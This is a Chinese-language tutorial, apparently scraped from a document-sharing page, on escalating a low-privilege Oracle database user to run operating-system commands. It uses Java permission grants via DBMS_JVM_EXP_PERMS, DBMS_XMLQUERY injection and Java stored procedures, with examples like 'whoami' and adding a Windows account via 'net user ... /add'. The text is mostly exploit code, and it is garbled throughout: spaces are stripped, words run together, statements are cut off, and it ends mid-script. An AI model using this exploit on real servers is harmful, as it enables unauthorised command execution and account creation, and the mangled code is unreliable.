Oracle数据库提权(dba权限执行系统命令)

1、0x01这里我们先创建一个低权限的用户testSQL>connsys/admin123orclassysdba;已连接。SQL>createusertestidentifiedbytest;然后查看一下权限SQL>select*fromsession_privs;PRIVILEGECREATESESSION如上显示，test没有JAVA权限，也只有CREATESESSION权限我们如果要通过数据库执行系统命令，那么首先要提升数据库用户的权限。我们首先要获取java又限DECLAREPOLDBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSORC1I

2、SSELECT'GRANT','ZTZ','SYS','java.io.FilePermission','<<ALLFILES>>','execute','ENABLED'FROMDUAL;BEGINOPENC1;FETCHC1BULKCOLLECTINTOPOL;CLOSEC1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;/如果想要执行任意代码的话还需要额外获得java.lang.RuntimePermissi权

3、1限DECLAREPOLDBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSORC1ISSELECT'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor','NULL','ENABLED'FROMDUAL;BEGINOPENC1;FETCHC1BULKCOLLECTINTOPOL;CLOSEC1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END

4、;/DECLAREPOLDBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSORC1ISSELECT'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor','NULL','ENABLED'FROMDUAL;BEGINOPENC1;FETCHC1BULKCOLLECTINTOPOL;CLOSEC1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;

5、0X02JAVAA权限执储令用我们的test帐号登录1、首先我们创建java包selectdbms_xmlquery.newcontext('declarePRAGMAAUTONOMOUS_TRANSACTION;beginexecuteimmediate''createorreplaceandcompilejavasourcenamed"LinxUtil"asimportjava.io.*;public2、然后我们获取java权限selectdbms_xmlquery.newcontext('declarePRAGMAAUTONOMOUS_

6、TRANSACTION;beginexecuteimmediate''begindbms_java.grant_permission(''''SYSTEM'''',''''SYS:java.io.FilePermission3、创建我们用来执行命令的函数selectdbms_xmlquery.newcontext('declarePRAGMAAUTONOMOUS_TRANSACTION;beginexecuteimmediate''createorreplac

7、efunctionLinxRunCMD(p_cmdinvarchar2)returnvarchar2aslanguagejavaname''''LinxUtil.runCMD(java.la4、执行命令selectLinxRUNCMD('whoami')fromdual;0x0若我们有reateprocec权限，而不只是reatesess这么苦逼时，我们可以创建一个javaclass然后用创建一个过程来进行调用1、首先创建一个javaclass然后用procedure包装它进行调用createorreplaceandresolvejavasour

8、cenamedJAVACMDasimportjava.lang*.;importjava.io.*;publicclassJAVACMDpublicstaticvoidexecmd(Stringcommand)throwsIOExceptionRuntime.getRuntime().exec(command);/2、创建调用的包createorreplaceprocedureMYJAVACMD(commandinvarchar)aslanguagejavaname'JAVACMD.execmd(java.lang.String)'/3、执行我们的命令EXECMYJAVACMD

9、('netuserqingxinqingxin/add');会报错是因为代码中没有捕获异常，我们再执行一次即可附上一把梭哈CREATEORREPLACEANDRESOLVEJavaSOURCENAMED"JAVACMD"ASimportjava.lang.*;importjava.io.*;publicclassJAVACMDpublicstaticvoidexecCommand(Stringcommand)throwsIOExceptionRuntime.getRuntime()e.xec(command);/CREATEORREPLACEPROCEDUREJAVACMDPROC(p_commandINVARCHAR2)ASLANGUAGEJAVANAME'JAVACMD.execCommand(java.lang.St